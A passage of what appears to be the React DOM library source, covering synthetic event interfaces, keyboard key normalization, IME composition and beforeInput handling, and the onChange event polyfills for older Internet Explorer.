          this[_propName] = normalize(nativeEvent);
        } else {
          this[_propName] = nativeEvent[_propName];
        }
      }

      var defaultPrevented = nativeEvent.defaultPrevented != null ? nativeEvent.defaultPrevented : nativeEvent.returnValue === false;

      if (defaultPrevented) {
        this.isDefaultPrevented = functionThatReturnsTrue;
      } else {
        this.isDefaultPrevented = functionThatReturnsFalse;
      }

      this.isPropagationStopped = functionThatReturnsFalse;
      return this;
    }

    assign(SyntheticBaseEvent.prototype, {
      preventDefault: function () {
        this.defaultPrevented = true;
        var event = this.nativeEvent;

        if (!event) {
          return;
        }

        if (event.preventDefault) {
          event.preventDefault(); // $FlowFixMe - flow is not aware of `unknown` in IE
        } else if (typeof event.returnValue !== 'unknown') {
          event.returnValue = false;
        }

        this.isDefaultPrevented = functionThatReturnsTrue;
      },
      stopPropagation: function () {
        var event = this.nativeEvent;

        if (!event) {
          return;
        }

        if (event.stopPropagation) {
          event.stopPropagation(); // $FlowFixMe - flow is not aware of `unknown` in IE
        } else if (typeof event.cancelBubble !== 'unknown') {
          // The ChangeEventPlugin registers a "propertychange" event for
          // IE. This event does not support bubbling or cancelling, and
          // any references to cancelBubble throw "Member not found".  A
          // typeof check of "unknown" circumvents this issue (and is also
          // IE specific).
          event.cancelBubble = true;
        }

        this.isPropagationStopped = functionThatReturnsTrue;
      },

      /**
       * We release all dispatched `SyntheticEvent`s after each event loop, adding
       * them back into the pool. This allows a way to hold onto a reference that
       * won't be added back into the pool.
       */
      persist: function () {// Modern event system doesn't use pooling.
      },

      /**
       * Checks if this event should be released back into the pool.
       *
       * @return {boolean} True if this should not be released, false otherwise.
       */
      isPersistent: functionThatReturnsTrue
    });
    return SyntheticBaseEvent;
  }
  /**
   * @interface Event
   * @see http://www.w3.org/TR/DOM-Level-3-Events/
   */


  var EventInterface = {
    eventPhase: 0,
    bubbles: 0,
    cancelable: 0,
    timeStamp: function (event) {
      return event.timeStamp || Date.now();
    },
    defaultPrevented: 0,
    isTrusted: 0
  };
  var SyntheticEvent = createSyntheticEvent(EventInterface);

  var UIEventInterface = assign({}, EventInterface, {
    view: 0,
    detail: 0
  });

  var SyntheticUIEvent = createSyntheticEvent(UIEventInterface);
  var lastMovementX;
  var lastMovementY;
  var lastMouseEvent;

  function updateMouseMovementPolyfillState(event) {
    if (event !== lastMouseEvent) {
      if (lastMouseEvent && event.type === 'mousemove') {
        lastMovementX = event.screenX - lastMouseEvent.screenX;
        lastMovementY = event.screenY - lastMouseEvent.screenY;
      } else {
        lastMovementX = 0;
        lastMovementY = 0;
      }

      lastMouseEvent = event;
    }
  }
  /**
   * @interface MouseEvent
   * @see http://www.w3.org/TR/DOM-Level-3-Events/
   */


  var MouseEventInterface = assign({}, UIEventInterface, {
    screenX: 0,
    screenY: 0,
    clientX: 0,
    clientY: 0,
    pageX: 0,
    pageY: 0,
    ctrlKey: 0,
    shiftKey: 0,
    altKey: 0,
    metaKey: 0,
    getModifierState: getEventModifierState,
    button: 0,
    buttons: 0,
    relatedTarget: function (event) {
      if (event.relatedTarget === undefined) return event.fromElement === event.srcElement ? event.toElement : event.fromElement;
      return event.relatedTarget;
    },
    movementX: function (event) {
      if ('movementX' in event) {
        return event.movementX;
      }

      updateMouseMovementPolyfillState(event);
      return lastMovementX;
    },
    movementY: function (event) {
      if ('movementY' in event) {
        return event.movementY;
      } // Don't need to call updateMouseMovementPolyfillState() here
      // because it's guaranteed to have already run when movementX
      // was copied.


      return lastMovementY;
    }
  });

  var SyntheticMouseEvent = createSyntheticEvent(MouseEventInterface);
  /**
   * @interface DragEvent
   * @see http://www.w3.org/TR/DOM-Level-3-Events/
   */

  var DragEventInterface = assign({}, MouseEventInterface, {
    dataTransfer: 0
  });

  var SyntheticDragEvent = createSyntheticEvent(DragEventInterface);
  /**
   * @interface FocusEvent
   * @see http://www.w3.org/TR/DOM-Level-3-Events/
   */

  var FocusEventInterface = assign({}, UIEventInterface, {
    relatedTarget: 0
  });

  var SyntheticFocusEvent = createSyntheticEvent(FocusEventInterface);
  /**
   * @interface Event
   * @see http://www.w3.org/TR/css3-animations/#AnimationEvent-interface
   * @see https://developer.mozilla.org/en-US/docs/Web/API/AnimationEvent
   */

  var AnimationEventInterface = assign({}, EventInterface, {
    animationName: 0,
    elapsedTime: 0,
    pseudoElement: 0
  });

  var SyntheticAnimationEvent = createSyntheticEvent(AnimationEventInterface);
  /**
   * @interface Event
   * @see http://www.w3.org/TR/clipboard-apis/
   */

  var ClipboardEventInterface = assign({}, EventInterface, {
    clipboardData: function (event) {
      return 'clipboardData' in event ? event.clipboardData : window.clipboardData;
    }
  });

  var SyntheticClipboardEvent = createSyntheticEvent(ClipboardEventInterface);
  /**
   * @interface Event
   * @see http://www.w3.org/TR/DOM-Level-3-Events/#events-compositionevents
   */

  var CompositionEventInterface = assign({}, EventInterface, {
    data: 0
  });

  var SyntheticCompositionEvent = createSyntheticEvent(CompositionEventInterface);
  /**
   * @interface Event
   * @see http://www.w3.org/TR/2013/WD-DOM-Level-3-Events-20131105
   *      /#events-inputevents
   */
  // Happens to share the same list for now.

  var SyntheticInputEvent = SyntheticCompositionEvent;
  /**
   * Normalization of deprecated HTML5 `key` values
   * @see https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent#Key_names
   */

  var normalizeKey = {
    Esc: 'Escape',
    Spacebar: ' ',
    Left: 'ArrowLeft',
    Up: 'ArrowUp',
    Right: 'ArrowRight',
    Down: 'ArrowDown',
    Del: 'Delete',
    Win: 'OS',
    Menu: 'ContextMenu',
    Apps: 'ContextMenu',
    Scroll: 'ScrollLock',
    MozPrintableKey: 'Unidentified'
  };
  /**
   * Translation from legacy `keyCode` to HTML5 `key`
   * Only special keys supported, all others depend on keyboard layout or browser
   * @see https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent#Key_names
   */

  var translateToKey = {
    '8': 'Backspace',
    '9': 'Tab',
    '12': 'Clear',
    '13': 'Enter',
    '16': 'Shift',
    '17': 'Control',
    '18': 'Alt',
    '19': 'Pause',
    '20': 'CapsLock',
    '27': 'Escape',
    '32': ' ',
    '33': 'PageUp',
    '34': 'PageDown',
    '35': 'End',
    '36': 'Home',
    '37': 'ArrowLeft',
    '38': 'ArrowUp',
    '39': 'ArrowRight',
    '40': 'ArrowDown',
    '45': 'Insert',
    '46': 'Delete',
    '112': 'F1',
    '113': 'F2',
    '114': 'F3',
    '115': 'F4',
    '116': 'F5',
    '117': 'F6',
    '118': 'F7',
    '119': 'F8',
    '120': 'F9',
    '121': 'F10',
    '122': 'F11',
    '123': 'F12',
    '144': 'NumLock',
    '145': 'ScrollLock',
    '224': 'Meta'
  };
  /**
   * @param {object} nativeEvent Native browser event.
   * @return {string} Normalized `key` property.
   */

  function getEventKey(nativeEvent) {
    if (nativeEvent.key) {
      // Normalize inconsistent values reported by browsers due to
      // implementations of a working draft specification.
      // FireFox implements `key` but returns `MozPrintableKey` for all
      // printable characters (normalized to `Unidentified`), ignore it.
      var key = normalizeKey[nativeEvent.key] || nativeEvent.key;

      if (key !== 'Unidentified') {
        return key;
      }
    } // Browser does not implement `key`, polyfill as much of it as we can.


    if (nativeEvent.type === 'keypress') {
      var charCode = getEventCharCode(nativeEvent); // The enter-key is technically both printable and non-printable and can
      // thus be captured by `keypress`, no other non-printable key should.

      return charCode === 13 ? 'Enter' : String.fromCharCode(charCode);
    }

    if (nativeEvent.type === 'keydown' || nativeEvent.type === 'keyup') {
      // While user keyboard layout determines the actual meaning of each
      // `keyCode` value, almost all function keys have a universal value.
      return translateToKey[nativeEvent.keyCode] || 'Unidentified';
    }

    return '';
  }
  /**
   * Translation from modifier key to the associated property in the event.
   * @see http://www.w3.org/TR/DOM-Level-3-Events/#keys-Modifiers
   */


  var modifierKeyToProp = {
    Alt: 'altKey',
    Control: 'ctrlKey',
    Meta: 'metaKey',
    Shift: 'shiftKey'
  }; // Older browsers (Safari <= 10, iOS Safari <= 10.2) do not support
  // getModifierState. If getModifierState is not supported, we map it to a set of
  // modifier keys exposed by the event. In this case, Lock-keys are not supported.

  function modifierStateGetter(keyArg) {
    var syntheticEvent = this;
    var nativeEvent = syntheticEvent.nativeEvent;

    if (nativeEvent.getModifierState) {
      return nativeEvent.getModifierState(keyArg);
    }

    var keyProp = modifierKeyToProp[keyArg];
    return keyProp ? !!nativeEvent[keyProp] : false;
  }

  function getEventModifierState(nativeEvent) {
    return modifierStateGetter;
  }
  /**
   * @interface KeyboardEvent
   * @see http://www.w3.org/TR/DOM-Level-3-Events/
   */


  var KeyboardEventInterface = assign({}, UIEventInterface, {
    key: getEventKey,
    code: 0,
    location: 0,
    ctrlKey: 0,
    shiftKey: 0,
    altKey: 0,
    metaKey: 0,
    repeat: 0,
    locale: 0,
    getModifierState: getEventModifierState,
    // Legacy Interface
    charCode: function (event) {
      // `charCode` is the result of a KeyPress event and represents the value of
      // the actual printable character.
      // KeyPress is deprecated, but its replacement is not yet final and not
      // implemented in any major browser. Only KeyPress has charCode.
      if (event.type === 'keypress') {
        return getEventCharCode(event);
      }

      return 0;
    },
    keyCode: function (event) {
      // `keyCode` is the result of a KeyDown/Up event and represents the value of
      // physical keyboard key.
      // The actual meaning of the value depends on the users' keyboard layout
      // which cannot be detected. Assuming that it is a US keyboard layout
      // provides a surprisingly accurate mapping for US and European users.
      // Due to this, it is left to the user to implement at this time.
      if (event.type === 'keydown' || event.type === 'keyup') {
        return event.keyCode;
      }

      return 0;
    },
    which: function (event) {
      // `which` is an alias for either `keyCode` or `charCode` depending on the
      // type of the event.
      if (event.type === 'keypress') {
        return getEventCharCode(event);
      }

      if (event.type === 'keydown' || event.type === 'keyup') {
        return event.keyCode;
      }

      return 0;
    }
  });

  var SyntheticKeyboardEvent = createSyntheticEvent(KeyboardEventInterface);
  /**
   * @interface PointerEvent
   * @see http://www.w3.org/TR/pointerevents/
   */

  var PointerEventInterface = assign({}, MouseEventInterface, {
    pointerId: 0,
    width: 0,
    height: 0,
    pressure: 0,
    tangentialPressure: 0,
    tiltX: 0,
    tiltY: 0,
    twist: 0,
    pointerType: 0,
    isPrimary: 0
  });

  var SyntheticPointerEvent = createSyntheticEvent(PointerEventInterface);
  /**
   * @interface TouchEvent
   * @see http://www.w3.org/TR/touch-events/
   */

  var TouchEventInterface = assign({}, UIEventInterface, {
    touches: 0,
    targetTouches: 0,
    changedTouches: 0,
    altKey: 0,
    metaKey: 0,
    ctrlKey: 0,
    shiftKey: 0,
    getModifierState: getEventModifierState
  });

  var SyntheticTouchEvent = createSyntheticEvent(TouchEventInterface);
  /**
   * @interface Event
   * @see http://www.w3.org/TR/2009/WD-css3-transitions-20090320/#transition-events-
   * @see https://developer.mozilla.org/en-US/docs/Web/API/TransitionEvent
   */

  var TransitionEventInterface = assign({}, EventInterface, {
    propertyName: 0,
    elapsedTime: 0,
    pseudoElement: 0
  });

  var SyntheticTransitionEvent = createSyntheticEvent(TransitionEventInterface);
  /**
   * @interface WheelEvent
   * @see http://www.w3.org/TR/DOM-Level-3-Events/
   */

  var WheelEventInterface = assign({}, MouseEventInterface, {
    deltaX: function (event) {
      return 'deltaX' in event ? event.deltaX : // Fallback to `wheelDeltaX` for Webkit and normalize (right is positive).
      'wheelDeltaX' in event ? -event.wheelDeltaX : 0;
    },
    deltaY: function (event) {
      return 'deltaY' in event ? event.deltaY : // Fallback to `wheelDeltaY` for Webkit and normalize (down is positive).
      'wheelDeltaY' in event ? -event.wheelDeltaY : // Fallback to `wheelDelta` for IE<9 and normalize (down is positive).
      'wheelDelta' in event ? -event.wheelDelta : 0;
    },
    deltaZ: 0,
    // Browsers without "deltaMode" is reporting in raw wheel delta where one
    // notch on the scroll is always +/- 120, roughly equivalent to pixels.
    // A good approximation of DOM_DELTA_LINE (1) is 5% of viewport size or
    // ~40 pixels, for DOM_DELTA_SCREEN (2) it is 87.5% of viewport size.
    deltaMode: 0
  });

  var SyntheticWheelEvent = createSyntheticEvent(WheelEventInterface);

  var END_KEYCODES = [9, 13, 27, 32]; // Tab, Return, Esc, Space

  var START_KEYCODE = 229;
  var canUseCompositionEvent = canUseDOM && 'CompositionEvent' in window;
  var documentMode = null;

  if (canUseDOM && 'documentMode' in document) {
    documentMode = document.documentMode;
  } // Webkit offers a very useful `textInput` event that can be used to
  // directly represent `beforeInput`. The IE `textinput` event is not as
  // useful, so we don't use it.


  var canUseTextInputEvent = canUseDOM && 'TextEvent' in window && !documentMode; // In IE9+, we have access to composition events, but the data supplied
  // by the native compositionend event may be incorrect. Japanese ideographic
  // spaces, for instance (\u3000) are not recorded correctly.

  var useFallbackCompositionData = canUseDOM && (!canUseCompositionEvent || documentMode && documentMode > 8 && documentMode <= 11);
  var SPACEBAR_CODE = 32;
  var SPACEBAR_CHAR = String.fromCharCode(SPACEBAR_CODE);

  function registerEvents() {
    registerTwoPhaseEvent('onBeforeInput', ['compositionend', 'keypress', 'textInput', 'paste']);
    registerTwoPhaseEvent('onCompositionEnd', ['compositionend', 'focusout', 'keydown', 'keypress', 'keyup', 'mousedown']);
    registerTwoPhaseEvent('onCompositionStart', ['compositionstart', 'focusout', 'keydown', 'keypress', 'keyup', 'mousedown']);
    registerTwoPhaseEvent('onCompositionUpdate', ['compositionupdate', 'focusout', 'keydown', 'keypress', 'keyup', 'mousedown']);
  } // Track whether we've ever handled a keypress on the space key.


  var hasSpaceKeypress = false;
  /**
   * Return whether a native keypress event is assumed to be a command.
   * This is required because Firefox fires `keypress` events for key commands
   * (cut, copy, select-all, etc.) even though no character is inserted.
   */

  function isKeypressCommand(nativeEvent) {
    return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) && // ctrlKey && altKey is equivalent to AltGr, and is not a command.
    !(nativeEvent.ctrlKey && nativeEvent.altKey);
  }
  /**
   * Translate native top level events into event types.
   */


  function getCompositionEventType(domEventName) {
    switch (domEventName) {
      case 'compositionstart':
        return 'onCompositionStart';

      case 'compositionend':
        return 'onCompositionEnd';

      case 'compositionupdate':
        return 'onCompositionUpdate';
    }
  }
  /**
   * Does our fallback best-guess model think this event signifies that
   * composition has begun?
   */


  function isFallbackCompositionStart(domEventName, nativeEvent) {
    return domEventName === 'keydown' && nativeEvent.keyCode === START_KEYCODE;
  }
  /**
   * Does our fallback mode think that this event is the end of composition?
   */


  function isFallbackCompositionEnd(domEventName, nativeEvent) {
    switch (domEventName) {
      case 'keyup':
        // Command keys insert or clear IME input.
        return END_KEYCODES.indexOf(nativeEvent.keyCode) !== -1;

      case 'keydown':
        // Expect IME keyCode on each keydown. If we get any other
        // code we must have exited earlier.
        return nativeEvent.keyCode !== START_KEYCODE;

      case 'keypress':
      case 'mousedown':
      case 'focusout':
        // Events are not possible without cancelling IME.
        return true;

      default:
        return false;
    }
  }
  /**
   * Google Input Tools provides composition data via a CustomEvent,
   * with the `data` property populated in the `detail` object. If this
   * is available on the event object, use it. If not, this is a plain
   * composition event and we have nothing special to extract.
   *
   * @param {object} nativeEvent
   * @return {?string}
   */


  function getDataFromCustomEvent(nativeEvent) {
    var detail = nativeEvent.detail;

    if (typeof detail === 'object' && 'data' in detail) {
      return detail.data;
    }

    return null;
  }
  /**
   * Check if a composition event was triggered by Korean IME.
   * Our fallback mode does not work well with IE's Korean IME,
   * so just use native composition events when Korean IME is used.
   * Although CompositionEvent.locale property is deprecated,
   * it is available in IE, where our fallback mode is enabled.
   *
   * @param {object} nativeEvent
   * @return {boolean}
   */


  function isUsingKoreanIME(nativeEvent) {
    return nativeEvent.locale === 'ko';
  } // Track the current IME composition status, if any.


  var isComposing = false;
  /**
   * @return {?object} A SyntheticCompositionEvent.
   */

  function extractCompositionEvent(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget) {
    var eventType;
    var fallbackData;

    if (canUseCompositionEvent) {
      eventType = getCompositionEventType(domEventName);
    } else if (!isComposing) {
      if (isFallbackCompositionStart(domEventName, nativeEvent)) {
        eventType = 'onCompositionStart';
      }
    } else if (isFallbackCompositionEnd(domEventName, nativeEvent)) {
      eventType = 'onCompositionEnd';
    }

    if (!eventType) {
      return null;
    }

    if (useFallbackCompositionData && !isUsingKoreanIME(nativeEvent)) {
      // The current composition is stored statically and must not be
      // overwritten while composition continues.
      if (!isComposing && eventType === 'onCompositionStart') {
        isComposing = initialize(nativeEventTarget);
      } else if (eventType === 'onCompositionEnd') {
        if (isComposing) {
          fallbackData = getData();
        }
      }
    }

    var listeners = accumulateTwoPhaseListeners(targetInst, eventType);

    if (listeners.length > 0) {
      var event = new SyntheticCompositionEvent(eventType, domEventName, null, nativeEvent, nativeEventTarget);
      dispatchQueue.push({
        event: event,
        listeners: listeners
      });

      if (fallbackData) {
        // Inject data generated from fallback path into the synthetic event.
        // This matches the property of native CompositionEventInterface.
        event.data = fallbackData;
      } else {
        var customData = getDataFromCustomEvent(nativeEvent);

        if (customData !== null) {
          event.data = customData;
        }
      }
    }
  }

  function getNativeBeforeInputChars(domEventName, nativeEvent) {
    switch (domEventName) {
      case 'compositionend':
        return getDataFromCustomEvent(nativeEvent);

      case 'keypress':
        /**
         * If native `textInput` events are available, our goal is to make
         * use of them. However, there is a special case: the spacebar key.
         * In Webkit, preventing default on a spacebar `textInput` event
         * cancels character insertion, but it *also* causes the browser
         * to fall back to its default spacebar behavior of scrolling the
         * page.
         *
         * Tracking at:
         * https://code.google.com/p/chromium/issues/detail?id=355103
         *
         * To avoid this issue, use the keypress event as if no `textInput`
         * event is available.
         */
        var which = nativeEvent.which;

        if (which !== SPACEBAR_CODE) {
          return null;
        }

        hasSpaceKeypress = true;
        return SPACEBAR_CHAR;

      case 'textInput':
        // Record the characters to be added to the DOM.
        var chars = nativeEvent.data; // If it's a spacebar character, assume that we have already handled
        // it at the keypress level and bail immediately. Android Chrome
        // doesn't give us keycodes, so we need to ignore it.

        if (chars === SPACEBAR_CHAR && hasSpaceKeypress) {
          return null;
        }

        return chars;

      default:
        // For other native event types, do nothing.
        return null;
    }
  }
  /**
   * For browsers that do not provide the `textInput` event, extract the
   * appropriate string to use for SyntheticInputEvent.
   */


  function getFallbackBeforeInputChars(domEventName, nativeEvent) {
    // If we are currently composing (IME) and using a fallback to do so,
    // try to extract the composed characters from the fallback object.
    // If composition event is available, we extract a string only at
    // compositionevent, otherwise extract it at fallback events.
    if (isComposing) {
      if (domEventName === 'compositionend' || !canUseCompositionEvent && isFallbackCompositionEnd(domEventName, nativeEvent)) {
        var chars = getData();
        reset();
        isComposing = false;
        return chars;
      }

      return null;
    }

    switch (domEventName) {
      case 'paste':
        // If a paste event occurs after a keypress, throw out the input
        // chars. Paste events should not lead to BeforeInput events.
        return null;

      case 'keypress':
        /**
         * As of v27, Firefox may fire keypress events even when no character
         * will be inserted. A few possibilities:
         *
         * - `which` is `0`. Arrow keys, Esc key, etc.
         *
         * - `which` is the pressed key code, but no char is available.
         *   Ex: 'AltGr + d` in Polish. There is no modified character for
         *   this key combination and no character is inserted into the
         *   document, but FF fires the keypress for char code `100` anyway.
         *   No `input` event will occur.
         *
         * - `which` is the pressed key code, but a command combination is
         *   being used. Ex: `Cmd+C`. No character is inserted, and no
         *   `input` event will occur.
         */
        if (!isKeypressCommand(nativeEvent)) {
          // IE fires the `keypress` event when a user types an emoji via
          // Touch keyboard of Windows.  In such a case, the `char` property
          // holds an emoji character like `\uD83D\uDE0A`.  Because its length
          // is 2, the property `which` does not represent an emoji correctly.
          // In such a case, we directly return the `char` property instead of
          // using `which`.
          if (nativeEvent.char && nativeEvent.char.length > 1) {
            return nativeEvent.char;
          } else if (nativeEvent.which) {
            return String.fromCharCode(nativeEvent.which);
          }
        }

        return null;

      case 'compositionend':
        return useFallbackCompositionData && !isUsingKoreanIME(nativeEvent) ? null : nativeEvent.data;

      default:
        return null;
    }
  }
  /**
   * Extract a SyntheticInputEvent for `beforeInput`, based on either native
   * `textInput` or fallback behavior.
   *
   * @return {?object} A SyntheticInputEvent.
   */


  function extractBeforeInputEvent(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget) {
    var chars;

    if (canUseTextInputEvent) {
      chars = getNativeBeforeInputChars(domEventName, nativeEvent);
    } else {
      chars = getFallbackBeforeInputChars(domEventName, nativeEvent);
    } // If no characters are being inserted, no BeforeInput event should
    // be fired.


    if (!chars) {
      return null;
    }

    var listeners = accumulateTwoPhaseListeners(targetInst, 'onBeforeInput');

    if (listeners.length > 0) {
      var event = new SyntheticInputEvent('onBeforeInput', 'beforeinput', null, nativeEvent, nativeEventTarget);
      dispatchQueue.push({
        event: event,
        listeners: listeners
      });
      event.data = chars;
    }
  }
  /**
   * Create an `onBeforeInput` event to match
   * http://www.w3.org/TR/2013/WD-DOM-Level-3-Events-20131105/#events-inputevents.
   *
   * This event plugin is based on the native `textInput` event
   * available in Chrome, Safari, Opera, and IE. This event fires after
   * `onKeyPress` and `onCompositionEnd`, but before `onInput`.
   *
   * `beforeInput` is spec'd but not implemented in any browsers, and
   * the `input` event does not provide any useful information about what has
   * actually been added, contrary to the spec. Thus, `textInput` is the best
   * available event to identify the characters that have actually been inserted
   * into the target node.
   *
   * This plugin is also responsible for emitting `composition` events, thus
   * allowing us to share composition fallback code for both `beforeInput` and
   * `composition` event types.
   */


  function extractEvents(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags, targetContainer) {
    extractCompositionEvent(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget);
    extractBeforeInputEvent(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget);
  }

  /**
   * @see http://www.whatwg.org/specs/web-apps/current-work/multipage/the-input-element.html#input-type-attr-summary
   */
  var supportedInputTypes = {
    color: true,
    date: true,
    datetime: true,
    'datetime-local': true,
    email: true,
    month: true,
    number: true,
    password: true,
    range: true,
    search: true,
    tel: true,
    text: true,
    time: true,
    url: true,
    week: true
  };

  function isTextInputElement(elem) {
    var nodeName = elem && elem.nodeName && elem.nodeName.toLowerCase();

    if (nodeName === 'input') {
      return !!supportedInputTypes[elem.type];
    }

    if (nodeName === 'textarea') {
      return true;
    }

    return false;
  }

  /**
   * Checks if an event is supported in the current execution environment.
   *
   * NOTE: This will not work correctly for non-generic events such as `change`,
   * `reset`, `load`, `error`, and `select`.
   *
   * Borrows from Modernizr.
   *
   * @param {string} eventNameSuffix Event name, e.g. "click".
   * @return {boolean} True if the event is supported.
   * @internal
   * @license Modernizr 3.0.0pre (Custom Build) | MIT
   */

  function isEventSupported(eventNameSuffix) {
    if (!canUseDOM) {
      return false;
    }

    var eventName = 'on' + eventNameSuffix;
    var isSupported = (eventName in document);

    if (!isSupported) {
      var element = document.createElement('div');
      element.setAttribute(eventName, 'return;');
      isSupported = typeof element[eventName] === 'function';
    }

    return isSupported;
  }

  function registerEvents$1() {
    registerTwoPhaseEvent('onChange', ['change', 'click', 'focusin', 'focusout', 'input', 'keydown', 'keyup', 'selectionchange']);
  }

  function createAndAccumulateChangeEvent(dispatchQueue, inst, nativeEvent, target) {
    // Flag this event loop as needing state restore.
    enqueueStateRestore(target);
    var listeners = accumulateTwoPhaseListeners(inst, 'onChange');

    if (listeners.length > 0) {
      var event = new SyntheticEvent('onChange', 'change', null, nativeEvent, target);
      dispatchQueue.push({
        event: event,
        listeners: listeners
      });
    }
  }
  /**
   * For IE shims
   */


  var activeElement = null;
  var activeElementInst = null;
  /**
   * SECTION: handle `change` event
   */

  function shouldUseChangeEvent(elem) {
    var nodeName = elem.nodeName && elem.nodeName.toLowerCase();
    return nodeName === 'select' || nodeName === 'input' && elem.type === 'file';
  }

  function manualDispatchChangeEvent(nativeEvent) {
    var dispatchQueue = [];
    createAndAccumulateChangeEvent(dispatchQueue, activeElementInst, nativeEvent, getEventTarget(nativeEvent)); // If change and propertychange bubbled, we'd just bind to it like all the
    // other events and have it go through ReactBrowserEventEmitter. Since it
    // doesn't, we manually listen for the events and so we have to enqueue and
    // process the abstract event manually.
    //
    // Batching is necessary here in order to ensure that all event handlers run
    // before the next rerender (including event handlers attached to ancestor
    // elements instead of directly on the input). Without this, controlled
    // components don't work properly in conjunction with event bubbling because
    // the component is rerendered and the value reverted before all the event
    // handlers can run. See https://github.com/facebook/react/issues/708.

    batchedUpdates(runEventInBatch, dispatchQueue);
  }

  function runEventInBatch(dispatchQueue) {
    processDispatchQueue(dispatchQueue, 0);
  }

  function getInstIfValueChanged(targetInst) {
    var targetNode = getNodeFromInstance(targetInst);

    if (updateValueIfChanged(targetNode)) {
      return targetInst;
    }
  }

  function getTargetInstForChangeEvent(domEventName, targetInst) {
    if (domEventName === 'change') {
      return targetInst;
    }
  }
  /**
   * SECTION: handle `input` event
   */


  var isInputEventSupported = false;

  if (canUseDOM) {
    // IE9 claims to support the input event but fails to trigger it when
    // deleting text, so we ignore its input events.
    isInputEventSupported = isEventSupported('input') && (!document.documentMode || document.documentMode > 9);
  }
  /**
   * (For IE <=9) Starts tracking propertychange events on the passed-in element
   * and override the value property so that we can distinguish user events from
   * value changes in JS.
   */


  function startWatchingForValueChange(target, targetInst) {
    activeElement = target;
    activeElementInst = targetInst;
    activeElement.attachEvent('onpropertychange', handlePropertyChange);
  }
  /**
   * (For IE <=9) Removes the event listeners from the currently-tracked element,
   * if any exists.
   */


  function stopWatchingForValueChange() {
    if (!activeElement) {
      return;
    }

    activeElement.detachEvent('onpropertychange', handlePropertyChange);
    activeElement = null;
    activeElementInst = null;
  }
  /**
   * (For IE <=9) Handles a propertychange event, sending a `change` event if
   * the value of the active element has changed.
   */


  function handlePropertyChange(nativeEvent) {
    if (nativeEvent.propertyName !== 'value') {
      return;
    }

    if (getInstIfValueChanged(activeElementInst)) {
      manualDispatchChangeEvent(nativeEvent);
    }
  }

  function handleEventsForInputEventPolyfill(domEventName, target, targetInst) {
    if (domEventName === 'focusin') {
      // In IE9, propertychange fires for most input events but is buggy and
      // doesn't fire when text is deleted, but conveniently, selectionchange
      // appears to fire in all of the remaining cases so we catch those and
      // forward the event if the value has changed
      // In either case, we don't want to call the event handler if the value
      // is changed from JS so we redefine a setter for `.value` that updates
      // our activeElementValue variable, allowing us to ignore those changes
      //
      // stopWatching() should be a noop here but we call it just in case we
      // missed a blur event somehow.
      stopWatchingForValueChange();
      startWatchingForValueChange(target, targetInst);
    } else if (domEventName === 'focusout') {
      stopWatchingForValueChange();
    }
  } // For IE8 and IE9.


  function getTargetInstForInputEventPolyfill(domEventName, targetInst) {
    if (domEventName === 'selectionchange' || domEventName === 'keyup' || domEventName === 'keydown') {
      // On the selectionchange event, the target is just document which isn't
      // helpful for us so just check activeElement instead.
      //
      // 99% of the time, keydown and keyup aren't necessary. IE8 fails to fire
      // propertychange on the first input event after setting `value` from a
      // script and fires only keydown, keypress, keyup. Catching keyup usually
      // gets it and catching keydown lets us fire an event for the first
      // keystroke if user does a key repeat (it'll be a little delayed: right
      // before the second keystroke). Other input methods (e.g., paste) seem to
      // fire selectionchange normally.
      return getInstIfValueChanged(activeElementInst);
    }
  }
  /**
   * SECTION: handle `click` event
   */


  function shouldUseClickEvent(elem) {
    // Use the `click` event to detect changes to checkbox and radio inputs.
    // This approach works across all browsers, whereas `change` does not fire
    // until `blur` in IE8.
    var nodeName = elem.nodeName;
    return nodeName && nodeName.toLowerCase() === 'input' && (elem.type === 'checkbox' || elem.type === 'radio');
  }

  function getTargetInstForClickEvent(domEventName, targetInst) {
    if (domEventName === 'click') {
      return getInstIfValueChanged(targetInst);
    }
  }

  function getTargetInstForInputOrChangeEvent(domEventName, targetInst) {
    if (domEventName === 'input' || domEventName === 'change') {
      return getInstIfValueChanged(targetInst);
    }
  }

  function handleControlledInputBlur(node) {
    var state = node._wrapperState;

    if (!state || !state.controlled || node.type !== 'number') {
      return;
    }

    {
      // If controlled, assign the value attribute to the current value on blur
      setDefaultValue(node, 'number', node.value);
    }
  }
  /**
   * This plugin creates an `onChange` event that normalizes change events
   * across form elements. This event fires at a time when it's possible to
   * change the element's value without seeing a flicker.
   *
   * Supported elements are:
   * - input (see `isTextInputElement`)
   * - textarea
   * - select
   */


  function extractEvents$1(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags, targetContainer) {
    var targetNode = targetInst ? getNodeFromInstance(targetInst) : window;
    var getTargetInstFunc, handleEventFunc;

    if (shouldUseChangeEvent(targetNode)) {
      getTargetInstFunc = getTargetInstForChangeEvent;
    } else if (isTextInputElement(targetNode)) {
      if (isInputEventSupported) {
        getTargetInstFunc = getTargetInstForInputOrChangeEvent;
      } else {
        getTargetInstFunc = getTargetInstForInputEventPolyfill;
        handleEventFunc = handleEventsForInputEventPolyfill;
      }
    } else if (shouldUseClickEvent(targetNode)) {
      getTargetInstFunc = getTargetInstForClickEvent;
    }

    if (getTargetInstFunc) {
      var inst = getTargetInstFunc(domEventName, targetInst);

      if (inst) {
        createAndAccumulateChangeEvent(dispatchQueue, inst, nativeEvent, nativeEventTarget);
        return;
      }
    }

    if (handleEventFunc) {
      handleEventFunc(domEventName, targetNode, targetInst);
    } // When blurring, set the value attribute for number inputs


    if (domEventName === 'focusout') {
      handleControlledInputBlur(targetNode);
    }
  }

  function registerEvents$2() {
    registerDirectEvent('onMouseEnter', ['mouseout', 'mouseover']);
    registerDirectEvent('onMouseLeave', ['mouseout', 'mouseover']);
    registerDirectEvent('onPointerEnter', ['pointerout', 'pointerover']);
    registerDirectEvent('onPointerLeave', ['pointerout', 'pointerover']);
  }
  /**
   * For almost every interaction we care about, there will be both a top-level
   * `mouseover` and `mouseout` event that occurs. Only use `mouseout` so that
   * we do not extract duplicate events. However, moving the mouse into the
   * browser from outside will not fire a `mouseout` event. In this case, we use
   * the `mouseover` top-level event.
   */


